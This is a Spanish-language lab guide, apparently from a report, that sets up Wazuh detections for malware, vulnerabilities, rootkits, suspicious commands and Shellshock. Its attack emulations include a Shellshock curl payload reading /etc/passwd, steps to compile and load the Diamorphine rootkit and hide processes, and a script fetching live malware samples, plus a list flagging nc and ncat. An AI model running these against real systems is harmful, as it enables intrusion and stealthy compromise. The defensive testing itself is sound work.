 Se realiza la configuración en este archivo para habilitar la integración de Virustotal. Reemplazando con la clave API de VirusTotal (Para obtener api_key se debe crear una cuenta en virustotal y seguir los pasos correspondientes para copiar la API gratuita que ofrece el sitio) permitiendo activar una consulta siempre que alguna de las reglas y se activan, la configuración se realiza dentro de <ossec_config> </ossec_config>. 

   <integration>

   <name>virustotal</name>

   <api_key>API_KEY</api_key>

   <rule_id>100200,100201</rule_id>

   <alert_format>json</alert_format>

 </integration> 

 Agregamos los siguientes bloques al archivo del servidor Wazuh permitiendo una respuesta activa y activa el script cuando VirusTotal marca un archivo como malicioso en el archivo /var/ossec/etc/ossec.confremove-threat.sh 

 sudo nano /var/ossec/etc/ossec.conf 

 <ossec_config>

 <command>

   <name>remove-threat</name>

   <executable>remove-threat.sh</executable>

   <timeout_allowed>no</timeout_allowed>

 </command>

 <active-response>

   <disabled>no</disabled>

   <command>remove-threat</command>

   <location>local</location>

   <rules_id>87105</rules_id>

 </active-response>

</ossec_config> 

 Agregar reglas al servidor de Wazuh /var/ossec/etc/rules/local_rules.xml archivo para alertar sobre los resultados de la respuesta activa:  

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 <group name="virustotal,">

 <rule id="100092" level="12">

   <if_sid>657</if_sid>

   <match>Successfully removed threat</match>

   <description>$(parameters.program) removed threat located at $(parameters.alert.data.virustotal.source.file)</description>

 </rule>

 <rule id="100093" level="12">

   <if_sid>657</if_sid>

   <match>Error removing threat</match>

   <description>Error removing threat located at $(parameters.alert.data.virustotal.source.file)</description>

 </rule>

</group> 

 Reiniciamos el administrador de Wazuh para aplicar los cambios realizados. 

 systemctl restart wazuh-manager 

 Para esta prueba de concepto la maquina vulnerable es Debian linux en la cual realizaremos las siguientes configuraciones: 

 sudo nano /var/ossec/etc/ossec.conf 

 Dentro del archivo de configuración <disabled> se establece en no, permitiendo que Wazuh FIM controle los cambios de directorio. 

 <syscheck>

 <disabled>no</disabled> 

 Agregar una entrada dentro del apartado <syscheck> para configurar un directorio para ser monitoreado casi en tiempo real. En este caso se está monitoreando el directorio /root. 

 <directories realtime="yes">/root</directories> 

 Instalar “ jq ” la cual es una utilidad que procesa la entrada JSON del script de respuesta activo. 

 sudo apt update

sudo apt -y install jq 

 Creamos en el directorio /var/ossec/active-response/bin/remove-threat.sh el cual es una secuencia de comandos de respuesta activa para eliminar archivos maliciosos del punto final monitoreado. 

 #!/bin/bash

LOCAL=`dirname $0`;

cd $LOCAL

cd ../

PWD=`pwd`

read INPUT_JSON

FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.data.virustotal.source.file)

COMMAND=$(echo $INPUT_JSON | jq -r .command)

LOG_FILE="${PWD}/../logs/active-responses.log"

if [ ${COMMAND} = "add" ]

then

# Send control message to execd

printf '{"version":1,"origin":{"name":"remove-threat","module":"active-response"},"command":"check_keys", "parameters":{"keys":[]}}\n'

read RESPONSE

COMMAND2=$(echo $RESPONSE | jq -r .command)

if [ ${COMMAND2} != "continue" ]

then

 echo "`date '+%Y/%m/%d %H:%M:%S'` $0: $INPUT_JSON Remove threat active response aborted" >> ${LOG_FILE}

 exit 0;

fi

fi

# Removing file

rm -f $FILENAME

if [ $? -eq 0 ]; then

echo "`date '+%Y/%m/%d %H:%M:%S'` $0: $INPUT_JSON Successfully removed threat" >> ${LOG_FILE}

else

echo "`date '+%Y/%m/%d %H:%M:%S'` $0: $INPUT_JSON Error removing threat" >> ${LOG_FILE}

fi

exit 0; 

 Cambiar la propiedad y permisos del archivo creado /var/ossec/active-response/bin/remove-threat.sh. 

 sudo chmod 750 /var/ossec/active-response/bin/remove-threat.sh 

 Cambiamos el propietario del archivo para que Wazuh pueda ejecutar el script en caso de alertas activas. 

 sudo chown root:wazuh /var/ossec/active-response/bin/remove-threat.sh 

 Para aplicar estos cambios reiniciamos el agente. 

 sudo systemctl restart wazuh-agent 

 Emulación del ataque. 

 Para descargar un archivo de prueba EICAR en Debian Linux desde la consola. Abrir una terminal y acceda al directorio /root donde se guardará el archivo de prueba y ejecute el comando de descarga, en este caso: 

 sudo cd /root

sudo curl -LO https://secure.eicar.org/eicar.com && ls -lah eicar.com 

 Esperamos que se complete la descarga y verificamos el archivo eicar.com en el directorio, este archivo no contiene malware real sin embargo se reconoce como un malware de prueba para Virus Total. 

 Resultados. 

 

 Wazuh manager tiene los siguientes eventos de detección. El evento de respuesta activa nos indica que el archivo fue eliminado y puede verificarse en consola: 

 

 PDC 9: DETECCIÓN DE VULNERABILIDADES. 

 Los agentes de Wazuh recopilan una lista de aplicaciones instaladas desde los terminales monitoreados y la envían periódicamente al servidor de Wazuh.  

 El servidor de Wazuh posee bases de datos SQLite que almacenan la lista enviada por los agentes, el servidor de Wazuh crea una base de datos de vulnerabilidad global a partir de repositorios CVE disponibles públicamente y utiliza esta base de datos para correlacionar esta información con los datos del listado de aplicaciones del agente. 

 

 La imagen muestra el flujo de trabajo de la detección de vulnerabilidades en Wazuh. El flujo de trabajo comienza con la recopilación de datos de los agentes de Wazuh. Estos datos pueden incluir registros, configuraciones de sistemas y resultados de escaneo de vulnerabilidades. Wazuh luego analiza estos datos en busca de posibles vulnerabilidades. Una vez que Wazuh ha identificado una vulnerabilidad, genera una alerta. Las alertas pueden ser enviadas a los usuarios por correo electrónico, mensaje de texto o notificación push. La detección de vulnerabilidades es una parte importante de la gestión de seguridad de la información. Al identificar y remediar las vulnerabilidades, las organizaciones pueden proteger sus sistemas de ataques cibernéticos, los pasos que sigue el diagrama son: 

 

 Recopilación de datos: Wazuh recopila datos de los agentes de Wazuh. Estos datos pueden incluir registros, configuraciones de sistemas y resultados de escaneo de vulnerabilidades.  

 Análisis de datos: Wazuh analiza los datos recopilados en busca de posibles vulnerabilidades. Wazuh utiliza una variedad de métodos para analizar los datos, incluyendo reglas, firmas y aprendizaje automático.  

 Generación de alertas: Una vez que Wazuh ha identificado una vulnerabilidad, genera una alerta. Las alertas pueden ser enviadas a los usuarios por correo electrónico, mensaje de texto o notificación push.  

 Mitigación de vulnerabilidades: Los usuarios pueden utilizar la información proporcionada en las alertas de Wazuh para remediar las vulnerabilidades en sus sistemas.  

 

 Configuración. 

 Nos dirigimos al directorio /var/ossec/etc/ossec.conf  para realizar las siguientes modificaciones, dentro del apartado " <ossec_config> " 

   <vulnerability-detector>

   <enabled>yes</enabled>

   <interval>5m</interval>

   <min_full_scan_interval>6h</min_full_scan_interval>

   <run_on_start>yes</run_on_start>

   <!--         Ubuntu OS vulnerabilities -->

   <provider name="canonical">

   <enabled>yes</enabled>

   <os>trusty</os>

   <os>xenial</os>

   <os>bionic</os>

   <os>focal</os>

   <os>jammy</os>

   <update_interval>1h</update_interval>

   </provider>

   <!--         Debian OS vulnerabilities -->

   <provider name="debian">

   <enabled>yes</enabled>

   <os>buster</os>

   <os>bullseye</os>

   <update_interval>1h</update_interval>

   </provider>

   <!--         RedHat OS vulnerabilities -->

   <provider name="redhat">

   <enabled>yes</enabled>

   <os>5</os>

   <os>6</os>

   <os>7</os>

   <os>8</os>

   <os allow="CentOS Linux-8">8</os>

   <os>9</os>

   <update_interval>1h</update_interval>

   </provider>

   <!--         Windows OS vulnerabilities -->

   <provider name="msu">

   <enabled>yes</enabled>

   <update_interval>1h</update_interval>

   </provider>

   <!--         Aggregate vulnerabilities -->

   <provider name="nvd">

   <enabled>yes</enabled>

   <update_from_year>2019</update_from_year>

   <update_interval>1h</update_interval>

   </provider>

 </vulnerability-detector> 

 Se tienen casos de adaptación para los casos de Kali Linux versión 2023 y 2024 donde se integran junto con la gestión de vulnerabilidades de Debian en base a la gestión de vulnerabilidades de sistemas no compatibles para el cual utilizamos la siguiente modificación al bloque de Debian de la siguiente manera. 

 <!-- Debian OS vulnerabilities -->

 <provider name="debian">

 <enabled>yes</enabled>

 <os>buster</os>

 <os>bullseye</os>

 <os>bookworm</os>

 <os allow="Kali GNU/Linux-2023,Kali GNU/Linux-2024">buster</os>

 <update_interval>1h</update_interval>

 </provider> 

 Se utiliza el formato OS_name-OS_majorcon  separados por comas y el atributo allow para incluir el sistema operativo.  Para aplicar los cambios reiniciamos Wazuh manager. 

 sudo systemctl restart wazuh-manager 

 En caso de revisión de la base de datos de Wazuh manager se deben seguir los siguientes pasos. En caso de no tener instalado SQLlite. 

 sudo apt install sqlite3 

 Seguidamente para abrir la base de datos de vulnerabilidades: 

 sqlite3 /var/ossec/queue/vulnerabilities/cve.db 

 Listamos las tablas en la base de datos. 

 sqlite> .tables 

 Para visualizar las tablas, Ej: 

 sqlite> select * from <table>; 

 El servidor de Wazuh crea automáticamente la base de datos de vulnerabilidad global con datos de los siguientes repositorios: 

 

 https://canonical.com : se usa para extraer CVE para distribuciones Ubuntu Linux.  

 https://www.redhat.com : se utiliza para extraer CVE para las distribuciones Red Hat y CentOS Linux.  

 https://www.debian.org : se usa para extraer CVE para las distribuciones de Debian Linux.  

 https://security.archlinux.org : se usa para extraer CVE para las distribuciones de Arch Linux. 

 https://nvd.nist.gov : se usa para extraer CVE de la base de datos nacional de vulnerabilidad.  

 https://feed.wazuh.com : se utiliza para obtener actualizaciones de seguridad de Microsoft (MSU) y fuentes ALAS.  

 

 Los feeds contienen información de parches y CVE para productos de Microsoft y Amazon Linux. Utilizan el Catálogo de actualizaciones de Microsoft y el Centro de seguridad de Amazon Linux como fuentes de información. Wazuh analiza y formatea los datos antes de cargarlos en el feed de Wazuh.  Una vez que el módulo de vulnerabilidades ha creado la base de datos de vulnerabilidad global que contiene los CVE, el proceso de detección busca paquetes vulnerables en las bases de datos de inventario. Un paquete se etiqueta como vulnerable cuando su versión coincide con las del rango afectado de un CVE. Las alertas muestran los resultados y el módulo almacena los hallazgos en un inventario de vulnerabilidades por agente. Este inventario contiene el estado actual de cada agente e incluye vulnerabilidades que han sido detectadas y no resueltas. Los usuarios pueden consultar el inventario para buscar alertas e información sobre vulnerabilidades. 

 PDC 10: DETECCIÓN DE MALWARE INTEGRACIÓN CON YARA. 

 Esta integración se utiliza con Wazuh para escanear archivos agregados o modificados en el terminal en busca de malware en el directorio /var/ossec/active-response/bin/. El módulo de respuesta activa YARA escanea archivos nuevos o modificados cada vez que el módulo FIM de Wazuh activa una alerta.  

 Configuración. 

 Configuraremos el terminal final e instalaremos Yara y sus dependencias configurando los módulos FIM y de respuesta activa. Para instalar YARA seguimos los siguientes pasos: 

 sudo apt update

sudo apt install -y make gcc autoconf libtool libssl-dev pkg-config jq

sudo curl -LO https://github.com/VirusTotal/yara/archive/v4.2.3.tar.gz

sudo tar -xvzf v4.2.3.tar.gz -C /usr/local/bin/ && rm -f v4.2.3.tar.gz

cd /usr/local/bin/yara-4.2.3/

sudo ./bootstrap.sh && sudo ./configure && sudo make && sudo make install && sudo make check 

 Verificamos la instalación  

 yara 

 *El siguiente error aparece en distribuciones de Ubuntu. 

 /usr/local/bin/yara: error while loading shared libraries: libyara.so.9: cannot open shared object file: No such file or directory. 

 La solución del error se realiza desde un usuario con privilegios de root, solo con permisos sudo este comando es rechazado. 

 sudo echo "/usr/local/lib" >> /etc/ld.so.conf

ldconfig 

 Una vez solucionado el error o si este no se encuentra la respuesta del terminal deberia ser de la siguiente manera: 

 yara 

 

 Proseguimos a descargar las reglas de detección de malware en Yara 

 sudo mkdir -p /tmp/yara/rules

sudo curl 'https://valhalla.nextron-systems.com/api/v1/get' \

-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \

-H 'Accept-Language: en-US,en;q=0.5' \

--compressed \

-H 'Referer: https://valhalla.nextron-systems.com/' \

-H 'Content-Type: application/x-www-form-urlencoded' \

-H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' \

--data 'demo=demo&apikey=1111111111111111111111111111111111111111111111111111111111111111&format=text' \

-o /tmp/yara/rules/yara_rules.yar 

 Se debe crear un archivo yara.sh 

 #!/bin/bash

# Wazuh - Yara active response

# Copyright (C) 2015-2022, Wazuh Inc.

#

# This program is free software; you can redistribute it

# and/or modify it under the terms of the GNU General Public

# License (version 2) as published by the FSF - Free Software

# Foundation.

        #------------------------- Gather parameters -------------------------#

# Extra arguments

read INPUT_JSON

YARA_PATH=$(echo $INPUT_JSON | jq -r .parameters.extra_args[1])

YARA_RULES=$(echo $INPUT_JSON | jq -r .parameters.extra_args[3])

FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.syscheck.path)

# Set LOG_FILE path

LOG_FILE="logs/active-responses.log"

size=0

actual_size=$(stat -c %s ${FILENAME})

while [ ${size} -ne ${actual_size} ]; do

   sleep 1

   size=${actual_size}

   actual_size=$(stat -c %s ${FILENAME})

done

#----------------------- Analyze parameters -----------------------#

if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]]

then

   echo "wazuh-yara: ERROR - Yara active response error. Yara path and rules parameters are mandatory." >> ${LOG_FILE}

   exit 1

fi

#------------------------- Main workflow --------------------------#

# Execute Yara scan on the specified filename

yara_output="$("${YARA_PATH}"/yara -w -r "$YARA_RULES" "$FILENAME")"

if [[ $yara_output != "" ]]

then

   # Iterate every detected rule and append it to the LOG_FILE

   while read -r line; do

       echo "wazuh-yara: INFO - Scan result: $line" >> ${LOG_FILE}

   done <<< "$yara_output"

fi

exit 0; 

 nano /var/ossec/active-response/bin/yara.sh 

 Por último cambiamos el propietario del archivo para que root:wazuh lo pueda manejar: 

 sudo chown root:wazuh /var/ossec/active-response/bin/yara.sh

sudo chmod 750 /var/ossec/active-response/bin/yara.sh 

 Agregar que dentro del bloque <syscheck> del agente Wazuh en el archivo de configuración este configurado para monitorear el directorio /tmp/yara/malware:  

 nano /var/ossec/etc/ossec.conf 

 <directories realtime="yes">/tmp/yara/malware</directories> 

 Reiniciar el agente de Wazuh 

 sudo systemctl restart wazuh-agent 

 En el servidor de Wazuh tenemos que agregar eventos para extraer la información y los resultados de Yara. 

 nano /var/ossec/etc/rules/local_rules.xml 

 <group name="syscheck,">

 <rule id="100300" level="7">

   <if_sid>550</if_sid>

   <field name="file">/tmp/yara/malware/</field>

   <description>File modified in /tmp/yara/malware/ directory.</description>

 </rule>

 <rule id="100301" level="7">

   <if_sid>554</if_sid>

   <field name="file">/tmp/yara/malware/</field>

   <description>File added to /tmp/yara/malware/ directory.</description>

 </rule>

</group> 

 La regla 100300 que especifica la modificación en un directorio es aplicable a un entorno delicado en el que los archivos deben mantener su integridad y la seguridad de estos sea de alta prioridad, en un despliegue con terminales remotos para usuario no es aconsejable ya que se consumen recursos al ejecutar el análisis con yara cada vez que un archivo cambia de tamaño al ser descargado o modificado dentro de un directorio monitorizado se recomienda utilizar el tipo de regla 100301 en caso de monitoreo a terminales de usuario. 

 <group name="yara,">

 <rule id="108000" level="0">

   <decoded_as>yara_decoder</decoded_as>

   <description>Yara grouping rule</description>

 </rule>

 <rule id="108001" level="12">

   <if_sid>108000</if_sid>

   <match>wazuh-yara: INFO - Scan result: </match>

   <description>File "$(yara_scanned_file)" is a positive match. Yara rule: $(yara_rule)</description>

 </rule>

</group> 

 En el archivo local_decoder agregamos la siguiente información: 

 nano /var/ossec/etc/decoders/local_decoder.xml 

 <decoder name="yara_decoder">

 <prematch>wazuh-yara:</prematch>

</decoder>

<decoder name="yara_decoder1">

 <parent>yara_decoder</parent>

 <regex>wazuh-yara: (\S+) - Scan result: (\S+) (\S+)</regex>

 <order>log_type, yara_rule, yara_scanned_file</order>

</decoder> 

 Emulación del ataque. 

 Crear el archivo /tmp/yara/malware/malware_downloader.sh en el punto final monitoreado para descargar muestras de malware. 

 touch /tmp/yara/malware/malware_downloader.sh

nano /tmp/yara/malware/malware_downloader.sh 

 #!/bin/bash

# Wazuh - Malware Downloader for test purposes

# Copyright (C) 2015-2022, Wazuh Inc.

# This program is free software; you can redistribute it

# and/or modify it under the terms of the GNU General Public

# License (version 2) as published by the FSF - Free Software

# Foundation.

function fetch_sample(){

 curl -s -XGET "$1" -o "$2"

}192.168.24.92

echo "WARNING: Downloading Malware samples, please use this script with  caution."

read -p "  Do you want to continue? (y/n)" -n 1 -r ANSWER

echo

if [[ $ANSWER =~ ^[Yy]$ ]]

then

   echo

   # Mirai

   echo "# Mirai: https://en.wikipedia.org/wiki/Mirai_(malware)"

   echo "Downloading malware sample..."

   fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/mirai" "/tmp/yara/malware/mirai" && echo "Done!" || echo "Error while downloading."

   echo

   # Xbash

   echo "# Xbash: https://unit42.paloaltonetworks.com/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"

   echo "Downloading malware sample..."

   fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/xbash" "/tmp/yara/malware/xbash" && echo "Done!" || echo "Error while downloading."

   echo

   # VPNFilter

   echo "# VPNFilter: https://news.sophos.com/en-us/2018/05/24/vpnfilter-botnet-a-sophoslabs-analysis/"

   echo "Downloading malware sample..."

   fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/vpn_filter" "/tmp/yara/malware/vpn_filter" && echo "Done!" || echo "Error while downloading."

   echo

   # Webshell

   echo "# WebShell: https://github.com/SecWiki/WebShell-2/blob/master/Php/Worse%20Linux%20Shell.php"

   echo "Downloading malware sample..."

   fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/webshell" "/tmp/yara/malware/webshell" && echo "Done!" || echo "Error while downloading."

   echo

fi 

 Ejecutamos el script malware_downloader.sh para descargar muestras de malware al directorio /tmp/yara/malware. 

 sudo bash /tmp/yara/malware/malware_downloader.sh 

 Resultado. 

 Filtramos las alertas por rule.groups yara   

 

 PDC 11: DETECCIÓN DE PROCESOS OCULTOS. 

 Se realizara una prueba de concepto en Debian linux, descargando, compilando y cargando un rootkit. Luego, se configura el módulo rootcheck de Wazuh en el terminal para la detección de anomalías. 

 Configuración. 

 Para realizar el cometido primero realizamos los siguientes pasos desde el terminal: 

 sudo apt update 

 Instalamos los paquetes necesarios para el rootkit 

 sudo apt -y install gcc git 

 Configuramos el agente de Wazuh para ejecutar el escaneo de verificación de raíz cada 2 minutos.  En el archivo ossec.conf 

 sudo nano /var/ossec/etc/ossec.conf 

 Seleccionamos frequency   en 120 para realizar el análisis cada 2 minutos: 

 <frequency>120</frequency>  

 Reiniciamos el agente de Wazuh para aplicar los cambios. 

 systemctl restart wazuh-agent 

 Emulación del ataque. 

 Obtenemos un código de rootkit desde Diamorphine de GitHub. 

 git clone https://github.com/m0nad/Diamorphine 

 Navegamos hasta el directorio Diamorphine y compilamos el código fuente. 

 cd /var/ossec/etc/Diamorphine/

make 

 

 Se produce un error en la terminal cuando el comando make no realiza ninguna acción, verificamos la instalación de build-essential en caso de no estar instalado de la siguiente manera: sudo apt-get install build-essential 

 Se produce un error en la terminal cuando linux/syscalls.h” no se encuentra en el sistema, para solucionar el problema se debe realizar la siguiente instalación. 

 

 sudo apt-get install linux-headers-$(uname -r) 

 Luego cargamos el módulo del kernel del rootkit. 

 insmod diamorphine.ko 

 Se debe ejecutar la señal kill 63 con el PID de un proceso aleatorio que se ejecuta en el terminal.  Esto muestra el rootkit Diamorphine. De forma predeterminada, Diamorphine se oculta para que no la detectemos ejecutando el comando lsmod. 

 lsmod | grep diamorphine

kill -63 509

lsmod | grep diamorphine 

 Se deben ejecutar los siguientes comandos para ver cómo funciona el proceso rsyslogd es primero visible y luego ya no es visible. Este rootkit le permite ocultar procesos seleccionados del dominio ps. Enviando la señal de kill 31 oculta/muestra cualquier proceso.  

 ps auxw | grep rsyslogd | grep -v grep 

 Si el proceso no ocasiona ninguna salida es que algunos paquetes no están instalados, se deben seguir las siguientes instrucciones: 

 sudo apt-get install linux-headers-$(uname -r)

sudo apt-get install rsyslog

systemctl restart rsyslog

systemctl status rsyslog 

 Una vez instalados los paquetes tenemos: 

 ps auxw | grep rsyslogd | grep -v grep 

 salida: 

 root       22534  0.0  0.1 221772  6036 ?        Ssl  16:34   0:00 /usr/sbin/rsyslogd -n -iNONE 

 sudo kill -31 22534 

 ps auxw | grep rsyslogd | grep -v grep 

 El primer comando envía una señal kill al proceso 31 “rsyslogd”. El segundo comando muestra una lista de procesos que contienen la cadena “rsyslogd” en su nombre. La opción “-v grep” excluye cualquier proceso que contenga la cadena “grep” en su nombre. 

 Resultados. 

 Se pueden visualizar los datos de alerta en el panel de control de Wazuh. 

 

 Se realizo una detección de un posible rootkit. 

 

 Por seguridad se deben eliminar los archivos y la instalación del sistema de este rootkit para esto realizamos. 

 sudo rm -rf /var/ossec/etc/Diamorphine 

 PDC 12:  SUPERVISIÓN DE LA EJECUCIÓN DE COMANDOS MALICIOSOS. 

 Para este prueba configuramos Auditd en un terminal, con esto poder tener en cuenta todos los comandos ejecutados por un usuario determinado. Esto incluye comandos ejecutados por un usuario en modo o después de cambiar al usuario root. Configurar una regla de Wazuh personalizada para alertar de comandos sospechosos (sudo). 

 Configuración. 

 En el terminal final instalaremos Auditd posteriormente crearemos reglas para consultar todos los comandos ejecutados por un usuario con privilegios. 

 sudo apt -y install auditd

sudo systemctl start auditd

sudo systemctl enable auditd 

 Con credenciales root ejecutamos los comandos para agregar reglas de auditoría al archivo /etc/audit/audit.rules 

 echo "-a exit,always -F auid=1000 -F egid!=994 -F auid!=-1 -F arch=b32 -S execve -k audit-wazuh-c" >> /etc/audit/audit.rules

echo "-a exit,always -F auid=1000 -F egid!=994 -F auid!=-1 -F arch=b64 -S execve -k audit-wazuh-c" >> /etc/audit/audit.rules 

 Cargamos las reglas para confirmar que están en el directorio correcto. 

 sudo auditctl -R /etc/audit/audit.rules

sudo auditctl -l 

 Debemos agregar la siguiente configuración al archivo del agente permitiendo que el agente lea el archivo de registros auditados en el directorio: 

 sudo nano /var/ossec/etc/ossec.conf 

 <localfile>

 <log_format>audit</log_format>

 <location>/var/log/audit/audit.log</location>

</localfile> 

 Para efectuar los cambios reiniciamos el agente de Wazuh. 

 sudo systemctl restart wazuh-agent 

 En el servidor debemos ejecutar los pasos siguientes para crear una lista CDB de programas malintencionados y reglas para detectar la ejecución de los programas de la lista. Revisamos los pares clave-valor en el archivo de búsqueda /var/ossec/etc/lists/audit-keys Esta lista CDB contiene claves y valores separados por dos puntos. 

 audit-wazuh-w:write

audit-wazuh-r:read

audit-wazuh-a:attribute

audit-wazuh-x:execute

audit-wazuh-c:command 

 Creamos una lista CDB y editamos el contenido /var/ossec/etc/lists/suspicious-programs 

 ncat:yellow

nc:red

tcpdump:orange 

 Agregamos la lista a la sección del archivo del servidor Wazuh en la sección <ruleset>  

 nano /var/ossec/etc/ossec.conf 

 <list>etc/lists/suspicious-programs</list> 

 Seguidamente creamos una regla de gravedad alta para activar cuando se ejecute un programa sospechoso. Para agregar esta nueva regla al archivo en el servidor Wazuh debemos añadir un grupo de reglas ubicado en el directorio de reglas. 

 sudo nano /var/ossec/etc/rules/local_rules.xml 

 <group name="audit">

 <rule id="100210" level="12">

     <if_sid>80792</if_sid>

 <list field="audit.command" lookup="match_key_value" check_value="red">etc/lists/suspicious-programs</list>

   <description>Audit: Highly Suspicious Command executed: $(audit.exe)</description>

     <group>audit_command,</group>

 </rule>

</group> 

 Para aplicar los cambios realizados reiniciamos el administrador de Wazuh. 

 sudo systemctl restart wazuh-manager 

 Emulación del ataque. 

 En el terminal de prueba utilizaremos un programa catalogado como “peligroso” intencionalmente  con netcat . 

 sudo apt -y install netcat

nc -v 

 Resultados. 

 Con estos comandos instalamos Netcat es una herramienta de red que se utiliza para leer y escribir datos a través de conexiones de red utilizando TCP o UDP. 

 El segundo comando  inicia sesión en modo verbose mostrando la información de forma mas detallada sobre cada paso al realizar la conexión. 

 

 PDC 13:  DETECCIÓN DE UN ATAQUE DE SHELLSHOCK. 

 Wazuh es capaz de detectar un ataque Shellshock mediante el análisis de los registros del servidor web recopilados de un punto final monitoreado. En este caso de uso, configura un servidor web Apache en el punto final de víctima y simula un ataque de shellshock. 

 En este caso se necesitan de 2 terminales el primero el servidor web que sufrirá el ataque de un terminal atacante con sistema operativo Debian emulando el envío de solicitudes HTTP maliciosas al servidor web Apache. 

 Configuración. 

 En el terminal víctima se necesitan los paquetes actualizados del servidor Apache: 

 sudo apt update

sudo apt install apache2 

 Si el firewall está activo debe modificarse para permitir el acceso externo a los puertos web. 

 sudo ufw app list

sudo ufw allow 'Apache'

sudo ufw status 

 Comprobamos que el servidor está siendo ejecutado: 

 sudo systemctl status apache2 

 Agregamos las siguientes líneas al archivo de configuración del agente. Esto configura el agente Wazuh para monitorear los registros de acceso de su servidor Apache en el archivo de configuración. 

 nano /var/ossec/etc/ossec.conf 

 <localfile>

   <log_format>syslog</log_format>

   <location>/var/log/apache2/access.log</location>

</localfile> 

 Para aplicar los cambios reiniciamos el agente de Wazuh. 

 sudo systemctl restart wazuh-agent 

 Emulación del ataque. 

 La dirección IP del terminal (192.168.24.73) nos sirve para ejecutar el siguiente comando desde el terminal Debian del atacante. 

 sudo curl -H "User-Agent: () { :; }; /bin/cat /etc/passwd" 192.168.24.73 

 El comando realiza un ataque de Shellshock es una vulnerabilidad de seguridad en el intérprete de línea de comandos Bash que se utiliza en muchos sistemas operativos Linux y Liberation Serif Unix. La vulnerabilidad permite a un atacante ejecutar código arbitrario en un sistema vulnerable enviando un comando especial al intérprete Bash. El comando en particular que proporcionaste intenta ejecutar el comando /bin/cat /etc/passwd en el sistema vulnerable. El comando /bin/cat /etc/passwd muestra el archivo /etc/passwd, que contiene información sobre todos los usuarios del sistema. Si el sistema vulnerable está infectado con Shellshock, el comando se ejecutará y el atacante podrá ver la información de todos los usuarios del sistema 

 Resultados. 

 Se detecta un ataque de shellshock con nivel de gravedad debido a que se realizaron algunos intentos.

Envío de alertas por correo Wazuh manager
Para configurar Wazuh para enviar alertas por correo electrónico, los ajustes de correo electrónico deben configurarse en la sección del archivo principal de configuración ossec.conf. 

 sudo nano /var/ossec/etc/ossec.conf 

 <ossec_config>

   <global>

       <email_notification>yes</email_notification>

       <email_to>me@test.com</email_to>

       <smtp_server>mail.test.com</smtp_server>

       <email_from>wazuh@test.com</email_from>

   </global>

</ossec_config> 

 Una vez configurado el apartado anterior, se debe establecer en el nivel de alerta mínimo que activará un correo electrónico. De forma predeterminada, este nivel se establece en 12.email_alert_level. 

 <ossec_config>

 <alerts>

     <email_alert_level>12</email_alert_level>

 </alerts>

</ossec_config> 

 Para aplicar los cambios se debe reiniciar el servidor de Wazuh: 

 systemctl restart wazuh-manager 

 Para que los cambios surtan efecto se debe realizar la configuración SMTP.  Las alertas de correo electrónico de Wazuh no admiten servidores SMTP con autenticación como Gmail. Sin embargo, puede usar una retransmisión de servidor, como Postfix, para enviar estos correos electrónicos. Para configurar Postfix con Gmail seguimos los pasos a continuación: 

 El tipo de configuración del servidor de correo se establece en: sin configuración . 

 sudo apt-get update && apt-get install postfix mailutils libsasl2-2 ca-certificates libsasl2-modules 

 Para configurar Postfix se debe crear el archivo main de configuración. 

 sudo nano /etc/postfix/main.cf 

 relayhost = [smtp-mail.outlook.com]:587

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

smtp_sasl_security_options = noanonymous

smtp_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

smtp_use_tls = yes

smtpd_relay_restrictions = permit_mynetworks, permit_sasl_authenticated, defer_unauth_destination 

 Establezca la dirección de correo electrónico y la contraseña del remitente reemplazando USERNAME y PASSWORD con datos reales. Para este paso se tiene que crear una contraseña de aplicación para que no se solicite la autenticación en 2 pasos y se pueda utilizar para las notificaciones. 

 echo [smtp-mail.outlook.com]:587 correo@outlook.com:******** > /etc/postfix/sasl_passwd

postmap /etc/postfix/sasl_passwd

chmod 400 /etc/postfix/sasl_passwd 

 Cambiamos los permisos de base de datos de contraseña para que solo usuario root pueda verla. 

 chown root:root /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db

chmod 0600 /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db 

 Se debe reiniciar Postfix para aplicar los cambios: 

 systemctl restart postfix 

 Prueba de configuración: Reemplazando los datos de dirección de correo electrónico. Verificamos que se reciba este correo electrónico de prueba.you@example.com: 

 echo "Prueba de correo electrónico" | mail -s "Prueba n°1" -r "correo_que_envia@outlook.com"  correo_que_recibe@outlook.com 

 En la bandeja de entrada tenemos: 

 

 Con la prueba realizada se configuran las notificaciones por correo electrónico en el archivo de configuración de Wazuh. 

 sudo nano /var/ossec/etc/ossec.conf 

 <global>

 <email_notification>yes</email_notification>

 <smtp_server>localhost</smtp_server>

 <email_from>USERNAME@gmail.com</email_from>

 <email_to>you@example.com</email_to>

</global> 

 

 Para este ejemplo modificamos el nivel de alerta de correo a nivel 7 para ver distintos tipos de alertas enviados al correo electrónico, sin embargo en un entorno de producción es recomendable que sean alertas de nivel máximo. 

 Reiniciamos el servidor para aplicar los cambios: 

 systemctl restart wazuh-manager 

 El correo de prueba es un e-mail temporal al cual nos llega la prueba de eventos, se puede configurar el mismo destinatario y origen con el mismo correo pero para probar la funcionalidad de reenvío se realizó la prueba con 2 correos diferentes. 

 Alerta en el correo de prueba  noxatrubaudi-8034@yopmail.com .

Monitoreo de actividad con usuarios en agentes
El primer objetivo a cumplir es el de realizar un registro de logs en el sistema para los agentes monitoreados. Para esto utilizando la maquina virtual de prueba nos dirigimos al archivo de configuración. 

 nano /etc/rsyslog.conf 

 Agregamos al archivo: 

 auth,authpriv.* /var/log/auth.log

systemctl restart rsyslog.service 

 Es recomendable quitar el  comentario a la linea LogLevel para una información mas precisa. 

 

 El archivo “ /var/log/auth.log ” tendrá los registros con lo que probaremos los distintos tipos de eventos que pueden darse. 

 Ejemplo "useradd" Recuperamos la salida en auth.log y así tendremos ejemplos de logs para poder ser analizados por wazuh manager: Para agregar usuario 

